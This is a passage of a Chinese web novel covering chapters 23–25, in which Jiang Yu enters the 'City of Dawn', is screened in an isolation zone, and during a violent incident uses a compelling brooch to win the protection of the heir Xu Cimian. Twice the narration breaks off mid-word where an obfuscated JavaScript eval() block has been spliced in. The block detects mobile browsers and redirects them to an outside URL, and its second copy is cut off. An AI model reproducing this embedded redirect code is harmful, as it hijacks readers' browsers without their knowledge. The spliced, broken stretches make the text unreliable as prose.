“咦，许氏集团任命新的高管了。”戴着眼镜的贺少云忽然出声，似乎是距离主城不远，眼镜连上了网络，可以看见新闻了。 没人理他，他却还是在说：“这还是个小女孩吧？就掌管许氏集团的娱乐版图了，许江竹？没听过，但看着好可爱诶。” 许江竹？ 可爱？ 姜渔忍不住竖起耳朵，这两个词语怎么能同时出现？ “哦……我想起来了一些东西。”陆伯原也听到了贺少云的话，眼中精光流转，说道。 姜渔看过去。 陆伯原并未与她对视，他眼底的迷惘正逐渐化为坚定。 “你想起来什么了？”顾礼十分关心地忙问。 “我要回去。”陆伯原透过车窗，望向行驶的前方。 “回哪里？” “一间公司。” “不是。”顾礼纳闷：“你还上过班？回公司干啥？” “我要……找一个人。” “谁啊？用我们跟你一起去吗？” 陆伯原摇摇头：“她不太好惹，所以不用了。” 陆伯原不再说话了，顾礼等人一副“他睡太久睡傻了吧”的表情。 车摇摇晃晃，陆伯原的嘴角挂起微微的弧度。 姜渔有些庆幸，看来自己作为外来者，还真是很难被他回忆起来的。 陆伯原回忆起来的，更多是他自己在幻境沼泽中获得的感悟。 姜渔更加放心，头再次倚在了车窗上。 天际忽然泛起一丝白色，姜渔的视线有了落点。 远处，一道高墙横亘在平原之上，绵延不见尽头，联邦的血红旗帜在晨曦中被风吹得高高扬起，似乎永不垂落。 主城到了。 姜渔活动了一下脖子，手插入口袋，想着再休息一下。 手却被什么冰了一下。 姜渔心里一动，将裤兜内触感熟悉的东西掏了出来，瞳孔微微收缩。 园长之嘴的胸针，安静地摆在手心。 23. 曙光之城 “韩队，丁素回来了。” 一间古朴的宅院房中，两个男人持盏对坐，桌上摇曳着烛火，屋内并无任何灯光，幽暗静谧。说话的声音则是从室外传来的，一名身穿夜莺队服的少年有些急促地推开门说道。 门外的光亮铺进来，此时仍是白天。 “知道了。” 回话的男人穿着纯黑色的夜莺队服。制服干净平整，几乎没有一丝褶皱。每一个扣子都被系好，包括袖口与领口。除此之外，裤线笔挺锋利，皮鞋黝黑泛光。如此一身的穿着，未免有些局促，或者过于正式，夜莺的所有队员除了参加葬礼，平时没人会这么穿。但他显然已经习惯了这样的打扮。 这是个十分注重整洁的严肃男人，肩上的一枚星章是这个男人在联邦中地位的无声证明。 韩时跃，夜莺机动队的机动部指挥官。 一般而言，他只会坐镇总部，推衍人类与衍生体之间的厮杀。像这种在一间格调十足但没什么用的茶室中喝茶的活动，少之又少。 韩时跃对面的男人无奈开口：“老韩啊老韩，你带的小弟还是一如既往的莽撞啊。” 推门报告的少年有些不忿又有些好奇地看了男人一眼。 显然，一个能将他们韩队在大早上拉来茶室喝茶的男人，比什么八卦都要扣人心弦。尤其是这个男人身上还有着与韩时跃截然不同的气质。 他头发乱糟糟的，披着一件花花绿绿的衬衣短袖，皱巴巴的白色牛仔裤，脚上踩着双人字拖，在昏暗的茶室中居然还戴着一副黑色的墨镜。逆天的是，他的脖子上竟然还挂了条手指粗细的圆环大金链子。 啧，这是怎么样风骚的穿搭，好像把“老子有钱”写在了脸上，更逆天的是，这人即使戴着墨镜也能看出他长着一张英俊到逆天的脸。完全是仗脸欺人嘛。 “这是我的队员。”韩时跃起身，淡然纠正了对方的用词，“我不奉陪了。” “太不近人情了吧，我请你来这就是想打听一下你那个婆娘上司到底为什么派人去云市的。”墨镜男撇撇嘴，“这里的茶可是从战区采回来的。你知道多贵吗？” 墨镜男指尖敲了敲桌子，“换一个任务机密不过分吧？云市里面到底有什么？你们又要在里面做什么？跟我说说嘛，不然我可是会死缠着你不放的。” “随便你。”韩时跃走到门口，问，“她到哪儿了？” “刚进城，韩队。”队员恭敬答话，眼神仍忍不住瞥了眼“恃宠而骄”的墨镜男，他心想救命怎么还有人敢“缠”着活阎王韩队啊？ 夜莺队员们都默认这世上敢缠着韩时跃的，只有不知天高地厚的衍生体，而那些衍生体早已死得不能再死了。 “让她十分钟内回总部向我报道。”韩时跃点点头。 “十分钟内无法回到总部。”队员如实回答：“她去了隔离区。” 韩时跃的剑眉轻轻一挑：“去那做什么？” 队员这回真是很明显地看了看墨镜男。 “你能知道的事情，他总会知道的。”韩时跃向队员说，“没事的，说吧。” 于是队员老老实实回答：“丁队长从云市带回来了一个人，需要先行隔离。” “就是这个！就是这个！”墨镜男“腾”地就起来了，阔步走近大手一挥，搭在韩时跃肩上：“我跟你一起去！” 他真的已经缠上韩队不放了。 少年队员观察到韩时跃被搭肩时微微一皱的表情后，默默得出了这个结论。 …… 姜渔随车已经进了城。 这里真是一座雄城。 姜渔一路看景，只觉得主城果然与她生活的云市大不一样。 蓝天白云的晴空下，这座城市却像一团死气沉沉的铅灰乌云。眺望过去，所有高楼墙体全部是冰冷的灰色，一看便是用硬度极高的岩石打造，做好了随时抵御衍生体撞击的准备。墙体上悬挂的也是浅灰色的雾纹玻璃，视线根本看不清玻璃后的东西。这座城市的建筑没有一丝通透感，每栋建筑都是一座沉默的碉堡。 不过，在高耸入云的铅灰楼宇间，还闪烁着成千上万的广告牌。这些灯箱招牌布置在各种或显眼或隐秘的地方，播放着眼花缭乱的生意与商品，是点缀在乌云中的磅礴生命力所在。街上行人穿搭各异，穿梭如流。 人潮，商海。高楼，招牌。除此之外，再无他物。一路驶来，姜渔连一棵景观树也没看见，甚至一根草也没有。这是一座只有人与钱的都市，拒绝了人类以外的一切生灵。 它却叫“曙光之城”。 “马上就到了。”丁素在前面说，“我刚刚跟守城人已经打过招呼了，在隔离区内会有人照顾你，不会停留太久就有人来接你来见我们。不过，你下车时可能会有点麻烦……曙光城的人消息都很灵通。” “什么意思？” 姜渔不懂，但很快懂了。 掠夺者停下时，唐千苇打开了后车门，瞬间无数闪光灯咔嚓咔嚓响起，差点闪瞎了姜渔的眼睛，人海的吵闹声也十分没有礼貌，纷纷闯进她的耳朵。 “欢迎夜莺凯旋！”一人大喊，众声附和：“凯旋！凯旋！凯旋！” 群众整齐有序的欢呼声响彻这一片小小的地方。 姜渔适应了闪光灯，眯着眼看去，这是一片小广场，本来应该是空旷的。但现在车一停下，人群蜂拥而至，黑压压地，很快挤满了广场以及她的视线。 距离车门最近的，则是早早得到消息蹲守过来的记者们。 与一阵阵“凯旋”的浪潮声相比，记者们的问题像是浪潮中的砂石，一层层铺满车厢。 “丁队长！这次在外面有什么收获吗？” “请问这一次的探索会影响人类的命运吗？” “身为夜莺的新生代天才，唐小姐你可以接受一下我们的专访吗？” “唐小姐，请问您有意像队员一样进军文娱行业吗？以您的条件会更容易成功……” “据说云市藏着支配者‘荆冠’的机密，这个情况是否属实？” “丁队长！衍生体还有多久会入侵曙光城？” “宋涯先生，可以跟我们透露一下您的感情状态吗？” “请问为什么进城第一时间来到隔离区？能否透露各位到底带回来了什么东西？” “贺先生！贺先生！请问作为第一名开设脱口秀专场的夜莺队员，您在经历大规模退票事件后还会再回到文娱行业吗？” “什么年代了你们这些二货同行能不能不要再用闪光灯啦！” “要你管你懂不懂这是记者的情怀！” “陆先生！请问您有意愿成为旷野星光的艺人吗？我保证您一定比贺少云发展得好，这是我的名……” …… 这就是夜莺小队啊。姜渔禁不住有些汗颜，她觉得面对这种阵仗可比面对衍生体麻烦多了。 “隔离区的人很快就来。”唐千苇拍了拍她的肩膀，贴心地送上安慰：“你跟他们走就好了。” 这时，几名全身武装防护服的工作人员终于挤到了人群中，向姜渔点头示意。姜渔立即意会，伸出手被工作人员拉入人潮，在层层保护下向外缓慢移动。 “请问你是云市幸存者吗？可以不可以接受我们的专访？我们报社很有人文关怀的，一定……记得联系我啊！” 忽然，一只小手抓住了姜渔的胳膊。 姜渔回头看去，一个容貌精致的少女，手却是冰凉凉的金属。 不知道是改造人，还是机器人？ 如果是机器人，那这间报社在人力资源上的预算未免也太过节省了。 如果是改造人的话……那她的生活想必十分拮据，才没有为自己的机械臂装上正常的皮肤。 姜渔看着记者少女的形象，闪过一些纷乱思绪，她下意识接过了少女递过来的名片。 少女脸上立即露出惊喜与感激的表情，她大力挥手：“一定要记得联系我啊！我们报社报道很理智客观的！” 姜渔没作回应，而是继续低着头，在工作人员的保护下，穿过人潮，进入一扇厚重的铁门后，铁门缓缓关闭，人潮汹涌的声音立即被隔绝在外，屋子内陷入安静中。 姜渔走过一条五十米左右的走廊，站到一间圆形的银色大厅中。 数条隧道连接着圆形大厅，这里像是蛛网的中心。 “封锁街区，确认外面的人数与身份，通通进行初级隔离检测。”一道声音冷冷响起，“小柳，你带她走一下流程。” “是！”一直搀着姜渔的一名工作人员应声答道，她摘下防护服的头盔，露出一头深棕长发，礼貌微笑着对姜渔说：“请跟我来。” “好。” 姜渔点点头，跟着名叫小柳的工作人员向其中一条隧道走去。 她打量着新奇的环境，忽然问：“这里到底在隔离什么？为什么你可以摘下头盔而不怕感染？” “看到你过来的走廊了吗？”小柳笑着看向来时的走廊。 姜渔闻言看去，那里更像是一条甬道，有半圆形的高高穹顶，穹顶上排列着一个个大灯，射出绿色的光芒，将整条走廊都照得绿绿的。 “那里承担着检测病毒与细菌的作用，能隔绝病理性的传染源。”小柳说，“而且，不会对人体造成副作用。” 姜渔很快反应过来：“所以这里隔离的东西，不是疾病？” “没错，这里隔离的是精神可能受到污染的人类。”小柳也对姜渔的身份好奇，问：“你是哪里来的？你生活的地方没有隔离区吗？” “云市。” “云市？那里不是已经……”小柳惊呼了一声，随即摆摆手，“抱歉啊。” “没事。我们那比不上主城，所以我都没听过这种地方。”姜渔坦然。 “嗯，回来了就好！”小柳重重点头。 姜渔对小柳的话感到了一点小小的惊讶。 她倒是很久没有遇见这种自然而然的关心了，毕竟“人类团结”的意象一直只活在宣传语里。 “我们到了，进去吧。” 长长的走廊中，小柳站在一扇门前，她打开门，解释道：“这里可以初步检测你的精神状态。” “好。”姜渔没做拒绝，她大大方方走进去，只见屋子内空荡荡的，回身问：“怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14285303|150214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么才算精神状态正常？” “你这样问就是精神不太正常了。”小柳是个乐观爽朗的姑娘，还在开玩笑：“别人可都是一边喊着我精神正常呀我精神正常呀接受检测的。” 姜渔被小柳的话搞得哑口无言。 门关上了。 房间陷入寂静，墙壁上光色变换，定格在暖暖的橙色。忽然，一个与姜渔一模一样的“人”出现在姜渔对面。 无论从任何方位观察，都看不出破绽，姜渔却一眼看出对方只是一个投影，心里毫无波澜。 她见过彻底复刻肉身的“自己”。 这个投影“姜渔”可比自己在幻境沼泽里遇到的幻体“姜渔”假多了。 “你好。”投影忽然开口，冷冰冰地没有一丝感情：“请问，在你的印象里，我的名字应该是？” “姜渔。” 姜渔开口后，投影的声音瞬间变成了姜渔的声音与口吻：“我是否有孪生的兄弟姐妹？” “没有。” “你对我的出现没有什么感觉。”投影忽然笑了，“我还以为你有双胞胎妹妹，熟悉了有一个自己站在面前的情况。” 姜渔平静回话：“有没有可能，所有人都照过镜子？” “镜子里的自己忽然说话也是不太正常的吧。”投影说，“而且，人们很少也会面对一个自己形象的虚拟投影。” “好吧，那你就当我精神状态有问题好了。”姜渔说，“不然，我能对你有什么感觉啊？” “我的意思是，你的情绪没有一丝波动。” “你能感受到我的情绪？” 投影点点头，继续问：“我的性别是？” “女。” “好的，姜渔女士，关于您的检测已经完毕了，结果会在之后为您解析。” 投影说完话，忽然消失了。 这就完了。姜渔有些奇怪，她四处打量一番，抬起头，猛地愣住了。 房间的天花板不知何时，已经被全部打开了，头顶露出一台巨大的机器。这台机器像一个巨大的电钻，拥有四个钻头，冰冷的螺纹像旋涡一样，齐齐对准姜渔，宛如随时能将姜渔吸入其中。它们被钢索固定在十余米的高空，钢索抻直，蔓延进黑暗中，看不见尽头。 天花板正在缓缓关闭，直至房间恢复原样。 门开了。 姜渔看到小柳笑着示意：“走吧，姜小姐，我们就要到了。” 姜渔压住内心的惊讶，迈步出去，脚步声再次回荡在不见首尾的长长走廊中。 “我们接下来要去哪里？” “隔离区，很快的。”小柳步速确实很快。 姜渔敏锐地察觉到这一点，好奇问：“你很忙么？还是要走很远？我看你好像很着急。” 其实姜渔是怕刚才测试时，小柳是否能提前得到什么信息，才忽然走得很快……她担心对方是不是看到了什么结果，很想把自己丢过去，尽快离自己远一点。 “哦……不是！不急！”小柳被姜渔戳穿了心思，愣住了，连连摇头，随即脸上浮出了一丝激动，她压低声音，“是因为我带你去的地方，正好有一个大人物！” “什么大人物？”姜渔更好奇了，“我看你不像对那些高官领导感兴趣的样子。” “当然不是什么领导了，到了！”小柳站到走廊尽头的一扇大门前，输入密码，扫描瞳孔，高达两米的冰冷大门缓缓打开，露出里面的天地。 视线两侧，都是装有透明玻璃的洁净单间，没有一丝可言，每个单间都住着一个人，精神状态各自有各自的美丽。 小柳带着姜渔继续向前，她目视前方，小声说：“是许氏集团的继承人今天在这里参观！” 姜渔心跳漏了一拍：“许氏集团？” “就是主要做军火生意的那个公司，许明生的家族企业……”小柳想到什么，忽然说：“旷野星光你一定知道吧！那家娱乐公司，有很多知名艺人的，那也只是许氏集团的一个小小子公司。” “刚刚知道。所以是许江竹？” 姜渔面色复杂。 刚刚小柳提到许氏集团和许明生时，她甚至开始担心自己还没有走出幻境沼泽了…… “许江竹……哦，你说的是今天刚刚宣布接管娱乐版图的那个女孩吧。我倒是很羡慕她啦。”小柳听到意料之外的名字，愣了一下，说：“我说的是许辞眠啦，你有印象吗？很忧郁很深沉的那个……” “不知道，许辞眠？” “告辞的辞，安眠的眠。”小柳带着姜渔走入这个区域深处，岔道也变得多了起来，就像进入了一个罗列集装箱的空旷码头，她开始频频张望：“也不知道他还在不在这个区域……” 这个与世长辞、长眠不醒的名字，怎么透着一股浓浓的安详气息…… 姜渔心中渐渐升起了一个熟悉的形象…… 而就在姜渔沉思时，一声尖锐的广播声在这片巨大的区域回荡开来： “A级事故！封闭入口！等待救援！” “A级事故！封闭入口！等待救援！” “A级事故！封闭入口！等待救援！” 24. A级事故 “A级事故？” 姜渔观察了一番四周，广播声之所以能传来回荡的声音，是因为这里极为空旷。隔离室四面都是厚重透明玻璃，大约三米多高，彼此紧紧贴在一起，隔离室上方的房顶却足足有十余米高。隔离室与房顶之间空无一物，此处就像一个蛋壳倒扣下来的空间。 此时穹顶上红灯急速闪烁，数十个音响在不同方位同时发出广播，焦虑与恐慌在隔离室之间的街道蔓延开来。隔离者们声嘶力竭的呼救声，通过隔离室的某种换气口，声音有所减弱却依然清晰。 “坏了坏了坏了。”小柳一脸紧张地回头看去，来时的大门已经紧紧关闭，她从怀中掏出一把仅有手掌大小的银色手枪，向姜渔说道：“快跟我来！” 此处人生地不熟，唯一值得信任的人就是眼前的小柳。姜渔点点头，紧紧跟上小柳急速奔跑的步伐。 两人没跑出去十几米，来到一间空荡的隔离室内，小柳的手放在玻璃幕墙上，玻璃上立即出现了一行行数据。 依照流程，小柳再次确认了指纹与瞳膜后，隔离室的门应声而开。 “姜小姐，你先在这里躲一躲。”小柳推着姜渔的胳膊，“我去确认一下情况。” “等等！”姜渔被推进隔离室后，回身看到小柳就要关门，忙出声问：“A级事故到底是什么？” “有探索级的强者进入思觉塌陷状态了。”小柳停下要离开的步伐，犹豫了一下说，“并伴随攻击表现。” “那你能解决吗？”姜渔对探索级这个称呼可不陌生了，像探索级的陆伯原便是夜莺机动队的一员，那里是聚集了人类最顶尖强者的地方。 她看着小柳手中的小手枪，有些迟疑地问。 上一秒还在花痴八卦的小柳，此时的眼神已变得十分成熟，她笑了笑，却没有回答姜渔的问题：“放心吧，这是我的工作。” 说完，小柳手触着玻璃门将其拉上，消失在视线有限的门前。 姜渔待在原地，有些放空。 她心想自己未免也太倒霉了，这种刀口上舔血的日子到底什么时候是个头啊？ 唉。姜渔深深叹了口气，她在房间内转了两圈。屋子内除了基本家具外，大多数设施都是透明的，就连浴室也是。 不过通过小柳刚才的表现，姜渔倒是能猜到围绕浴室的玻璃门，大概率能在使用时变为不透明的材质，以保护隔离者的隐私。毕竟这里是隔离区，不是收押穷凶极恶罪犯的监狱。基本的人权还是需要给予尊重的。 就在姜渔沉思时，一声猛烈的撞击声打断了她的思考。 撞击声伴着玻璃破碎的声音，男人凄厉的哀嚎在隔离室外响起，姜渔未见其人，先闻其声，再见到的就是斑斑点点的鲜血，溅到了她这间隔离室的玻璃上。 姜渔看着玻璃门上的鲜血，短暂地愣住了。 她战斗的本能，被再一次全方位激发出来。 姜渔目光逐渐变得冷静，她没有远离鲜血，而是凑近玻璃前，让自己的视线变得更加开阔，想尽快确认对方是什么东西以便应敌时毫无对策—— 于是姜渔看到，在右侧对面的一间隔离室外，一个只穿着短裤的中年人，正在攥着一具尸体，不断地将其摔在地上。 隔离室的窗户已经碎了，地上没有任何凶器。只有一种可能，是那个中年人徒手将厚重玻璃击碎的，这种攻击力已经超越了普通衍生体，至少不弱于姜渔曾面对的30期衍生体。 思考间，中年人将摔成一摊烂泥般的尸体向后丢去，他俯身双手撑地，宛如一只野兽，猛地一跳！直接跃过了十多米的距离，正好落在姜渔前方，侧头看来。 姜渔看清了中年人的状态：他浑身没有一点赘肉，粗壮的肌肉上血管迅速跃动。两眼中没有瞳孔，被一种流动的红色物质充满，齿间流出口水。 如果他要打碎这面玻璃的话，我就必须第一时间捡到破碎的玻璃做武器。 姜渔没有退后，她注视着中年人，已经思考了接下来的战斗策略。 能在一思进，莫在一思停。这里不是幻境沼泽了，空空如也的隔离室内已经没有任何退路，多一丝犹豫就多一丝风险。 然而，中年人迎上姜渔的目光三四秒后，竟疯狂地摇了摇头，发出一声姜渔难以听清的嘶吼后，向左侧再次跃起，消失不见。 ……他摇头干啥？ 紧张感渐渐褪去，疑问爬上心头，姜渔纳闷回想起中年人的姿态： “那个人看到我后，好像是很痛苦地摇了摇头……” “他为什么痛苦？” …… 等等，他去的方向……不用多久就会追上小柳！ 虽然姜渔与小柳没有什么情感可言，但小柳毕竟是第一个听上去真心实感在安慰她“回来就好”的人。 而且，退一万步说…… 留在这里，基本就是将生命交给了不知何时才能抵达的支援上！ 姜渔并不擅长等待。 想到这里，姜渔立即转身向床边走去，她摆弄了两下，发现床是焊在地上的，根本拆出什么武器来，能供自己使用的只有床上的被褥。 当确认这一点后，姜渔眼底闪过一丝厉色，她将床单撕毁，一圈圈缠到手上，随即后撤到方才沾了血的那面玻璃墙上。她盯着对面的玻璃墙，深呼吸几口气，眼底再无犹豫！ 一年的厮杀，喷洒的鲜血。从第一次艰难击杀衍生体，到最后一次完美猎杀30期衍生体……种种画面回荡在姜渔脑海中，她只有一个念头：就算自己没有异能，但自己想做到的事情，从来都能做到！ 深呼吸，憋气，脚步发力，姜渔如箭一般冲向了对面那面墙！起初的力量从腿部转向腰间，腰间摆动，带动肩肘，挥出势不可挡的一拳！ 咚。 许氏集团的官宣继承人之一，靠一身忧郁气质俘获无数少女心思的贵公子许辞眠正在众人的簇拥下，不耐烦地奔走在隔离室间的街道上。忽然，他听到了一声轻轻的闷响，转过头，他看到一间隔离室内，少女正捂着自己缠绕布袋的拳头，陷入了无声的痛苦。 “这里的人精神问题果然很严重啊。”许辞眠眉头微蹙，“寻常炮弹都无法打穿的防护墙，却想着靠拳头砸开？有病。” 玻璃墙的另一边。 姜渔痛苦地捂着拳头，感受着彻骨的剧痛。 她抬起头时，正看见一群人齐齐看着自己，随后再度动身离去了。 然而，姜渔清楚地看到，被那群人围在中间的那个少年，虽然身穿昂贵的西服，洁白的衬衫，踩着漆黑的皮鞋，体面且优雅，但漆黑眸底流淌出的，是一股让她十分熟悉的淡淡破碎感…… 她知道的：自己才见过对方。 当时，他穿着校服，总是颓败又抱怨，在每一次考试中满目苦恼地亮相又离场…… “药罐子！”姜渔紧贴上玻璃门，全力地大声喊道，“药罐子！” 药罐子？ 许辞眠隐隐约约听到了身后传来了一声呼喊。 虽然从没人敢这么叫他，但这个绰号不可避免地激起了他对童年时期的一些回忆。他忍不住停步回身，看到一只缠着白色布带的手用力敲着玻璃门，那个“神经病”少女竟然真的是在对他呼喊。 常年来，他的标签明明是忧郁和深沉的，无论是从商业角度还是从形象角度，许氏集团从没向外界透露过自己身体的问题，这是来自许明生的命令。 所以……她凭的啥这么喊我啊？ 许辞眠有些恍惚，有些迟疑，有些不可置信。 他抬起手，指了指自己。 玻璃墙内的姜渔重重点头，指了指他。 “眠总，时间不多了，我们要尽快离开这里。”身边一名穿着得体的老管家急切地说道。 “能去哪？从刚开始不就是在这里绕圈子么。”许辞眠轻轻叹了口气，轻声细语中的不满却让所有人面面相觑，不再敢劝说了。 谈话间，许辞眠已经来到姜渔面前，说：“打开。” 一名身穿工作制服的男人犹豫几秒后，一边上前伸手触向玻璃门，一边为难说：“眠总，我们已经没有救人的时间了。” “我活到现在，就是因为我抢到了很多时间。”许辞眠目不斜视，平静的少年声中带着森森寒意，“我不喜欢别人告诉我没有时间了。” 男人感受着许辞眠声音中的压迫，硬着头皮开门了。 许辞眠看着姜渔的脸。 他确认自己确实从未见过对方，问：“为什么这么喊我？” “我觉得你应该就是这样的。”姜渔言简意赅地说，“你要带我走。” 从小柳口中能知道，许辞眠地位尊贵，从眼前的阵势也能看出，维护许辞眠的安全是这个空间里最重要的任务。 跟他走，能获得基本的安全，直到……保镖死伤的时候，她还可以拿到自保的武器。 许辞眠面对姜渔犹如命令般的语气，哑然失笑。 他意识到对面基本就是一个花痴少女，整天在脑海里构建着，“撞见豪门少爷男主做出出格举动吸引他的注意”如此之类的剧本，只是她花痴的称呼，碰巧戳中了他记忆深处的某些画面。 许辞眠已经开始后悔让下属给她开门了。 他耸耸肩，准备离开：“疯子，你顾好自己吧。别跟着我。” 姜渔看着许辞眠已经走出两步，悠悠说：“你不想知道许江竹的秘密吗？” 玻璃门已经打开，她不必再嘶喊，但嗓子还是有些哑。 许辞眠果然站住了，他回身盯着姜渔，语气平和：“我没有听清。” “没关系。”姜渔会心一笑，掏出了一张名片：“你想听清楚的事情，等我安全出去后再讲给你听。” 许辞眠接过名片，看到上面写着：曙城报社，黄筝月记者。 许辞眠忍不住再次打量了面前的少女几眼。 她……到底是谁？ 八卦记者？ 多年来，许辞眠对许江竹这个小女孩表面兄妹相称，实则暗中对许江竹最是猜忌。他越看许江竹，越觉得对方可爱乖巧，于是便越觉得危险。今日，父亲认命许江竹接管娱乐版图的举动，更加做实了许辞眠心中的不安：一个可爱乖巧的人，怎会被父亲委以重任？甚至俨然一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这是一个十多年未曾被人念起的数字，也注定不会再有人对他念起的数字。 这也是一个象征着自己的勇气与荣誉，卑劣与懦弱的数字，是一个沾染了无数血与泪的数字。 那一年，他丢掉了009的数字，成为了父亲的儿子，成为了许江竹这些人的兄弟姐妹。 他的生命与身份再也不是一连串冷冰冰的数字了。 可为什么…… 为什么…… 为什么她会知道！ 许辞眠看着姜渔，眼中的所有情绪不再有一丝掩饰，那些情绪非但没有褪去，反而愈演愈烈。 他心里清楚，知道这个数字的人，必然见过他的所有不堪。他的一切掩饰，都是徒劳的！ “你到底是谁！”许辞眠像被扼住了喉咙，从喉间生生挤出这句话，额头青筋迸紧，目光中已然有了杀意。 “到外面，自然会跟你说。”姜渔的情绪却仍没有一丝波动。 她还在庆幸自己终于从幻境沼泽中找到了最确定的信息：数字。每个人都有的数字。 即如悠然哥所说：“这里只有学号，没有数字。” 然而，许辞眠刺骨的杀意再次打断了姜渔的计划： “外面！你想去外面？” 他有些不耐地挥了下手：“我管你是谁！死在这里，你什么都不是！谁也不会知道！” 众保镖已经纷纷掏出枪来！上膛瞄准！ 此时，姜渔不紧不慢地开口了：“咳咳，都静一下，先听我讲几句。” 众人面面相觑，不约而同地真的停下了手中的动作。 不知道为什么，姜渔的话竟然让他们下意识违背了许辞眠的命令。她这么从容，一定有点东西吧，她还是头一个让眠总这样反常的女人，众人暗自揣度，纷纷觉得自己很识时务。 他们沾沾自喜地看向许辞眠，果然，许公子也有些困惑地看向正在说话的姜渔。 姜渔背着双手，继续慢悠悠地说：“年轻人，逃避只会让你困在过去。” “我以一个过来人的身份告诉你，有人愿意帮你是缘分，你得抓住这个机会。” 没人注意到，不知何时，在姜渔的胸口处，挂上了一枚丑丑的胸针。 许辞眠忽然觉得姜渔说中了他的内心，是啊公司的人虽然面上对他恭恭敬敬，实际上都把他看做毛头小子，也许自己真得有些沉不住气……她说的话，好像真的有那么一点道理。 姜渔虽然面上从容，内心已经开始流虚汗了，死嘴，快说重点啊！这是她第一次用“园长之嘴”，一共就3分钟的时限，还有这么多控制不住的爹味废话。 …… “小药罐子，你就听我的，我绝对是为了你好。” “让他们一起救我出去，你一定能从我身上得到点什么！” 最后几句姜渔说得很赶，而围在她周围的众人都瞪着眼睛看向姜渔，等她继续说下去。 25. 沼泽猎人 “我能从你身上得到什么？” 囿于“园长之嘴”的精神辐射中，许辞眠已经不知不觉被姜渔影响了。 但他身为继承人的心机并未全然消失。 面对高高在上指点江山的姜渔，许辞眠仍在负隅顽抗。 “你们小男人就是爱计较得失，计较蝇头小利怎么能成大事？”姜渔冷冷睥睨许辞眠， “这里利益牵扯可复杂多了去了，我说了你能懂？ 现在形势这么紧迫，你确定你能做出最准确的判断？ 一点耐心都没有，做生意最重要的就是耐心，这点事儿还得我亲自教你。” 死嘴有完没完啊！ 其实姜渔才是耐心几乎被消耗一空的那个人。 她只是想说“别墨迹了老老实实听我的”而已，结果嘴一张，又是一通长篇大论。 反观对面，许辞眠的道心都要被姜渔的三连问摧毁了。 他心想对面究竟是什么来历？怎么说话一套又一套，还满口都是人生观成功学生意经。 联系到这姑娘竟然知道他的学号，许辞眠心底冒出了一个头皮发麻的想法： 知道他学号的“外人”，只有可能是当初参与考试的工作人员。而那些工作人员事后都被处置了。 但许辞眠知道，在他们考试时，还有寥寥几个人：他们坐在观察室内，为每一个“学生”点评各个维度的能力。 在学生眼中，这些人被称为“教官”。 多年过去，这些教官不是成了许氏集团的高层领导，就是选择一名继承人在其身边扮演辅佐者的角色，两人亦师亦友。像许辞眠就没有得到任何教官的辅佐，这让他始终耿耿于怀。 难道……这个女人当时是坐在观察室中的一员？ 她当年才多大？ 所以，可能是生物科技或本身就是改造者，才让她能维持不变的容颜…… 思绪至此，许辞眠已经被“园长之嘴”的功效忽悠得差不多了。 他看向姜渔的目光，已经隐隐带上了一丝恭敬！ “我只是想了解的更清楚一点。”许辞眠说道。 他已经不再追问，而是在向姜渔解释了。 你能了解个屁啊，我在说什么我自己都不清楚，快带着我离开这里不行吗。姜渔暗骂。 她说出口，却变成不满的苛责：“求知是一把双刃剑，有时让人欣赏，有时却会变成让人头疼的刨根问底，那是愚蠢的表现。009，你已经让我有些失望了，接下来我会跟在你身边，观察你接下来的表现。这是一场临时测试。” 姜渔虽然句句长篇大论，但所表达的内容，基本都会落回她的核心诉求：哥们儿带带我。 “测试……”许辞眠心中一凛，暗想果然如此！语气越发有了请教的意味：“你想观察什么？” “我问你，现在什么最重要？”姜渔努力倒腾着她那张破嘴，让语速加快，“是安全！如何安全地离开这里，还要我教你么？” 许辞眠缓缓点头：“我明白了。你跟在我身边就好，走吧。” 姜渔满意地点点头，与转身的许辞眠开始移步。 刚走出去两步，“园长之嘴”的三分钟时限到了。 除了姜渔，所有人的步伐都停了一下。 保镖、手下与老管家都忍不住向中间的许辞眠偷看，大家都在想：这眠总怎么回事，短短几分钟就从要杀掉对方变成了要营救对方的态度，甚至还有些恭敬的感觉？回想起来，完全是一副被忽悠瘸了的孙子模样嘛…… 他们没有决定权，自然把这几分钟内的异样归结到许辞眠身上。 许辞眠嘴角正在抽动。 “园长之嘴”的作用消失后，诡异的感觉油然而生。 其实他自己也在自责为什么如此轻信对方，对方只是吧啦吧啦动动嘴皮子，自己竟能把对方脑补成“教官”的存在……现在回看，对方仗着知道自己的学号，就跟个大爹一样开始说教，连父亲都比不上她身上那股中年人故作老成的气质。 许辞眠很烦。 但他也察觉到，手下正投向自己的异样目光。 他只能硬着头皮强撑，淡淡开口：“这女人跟许氏集团有密切关系。” 这样一解释更显得你很心虚啊眠总！大家纷纷收回目光，不再向许辞眠施加压力。 而就在此时，此时传来了一声闷响，打断了所有人的思绪。 姜渔踮脚看去，前方一道银色铁门紧紧关闭，上面沾染着血迹。 门下，小柳浑身是血，倚着铁门，头无力地垂下，气若游丝。 “我们要救她。”姜渔沉声开口，“这是新的条件。” 许辞眠现在听到姜渔的话就心烦，恨不得堵住耳朵。 他不做理会，向刚刚打开玻璃门的下属皱眉问：“这方向对吗？” “没错，小柳身后的门就是唯一的紧急出口。”下属点点头，身为许氏集团一手培养进隔离区的一名骨干成员，他对许辞眠自然是有问必答，只是看着小柳的脸色有些难看：“不过……” 下属的话还未说完，道路尽头现出了一道雄壮的身影：正是陷入思觉塌陷的探索级中年人！ 中年人犹如一只野兽，四肢爬行，向小柳缓缓靠近！ “快救她！”姜渔听到了两人的对话，目视许辞眠，她回忆着刚才的语气说：“一个好的继承人……” 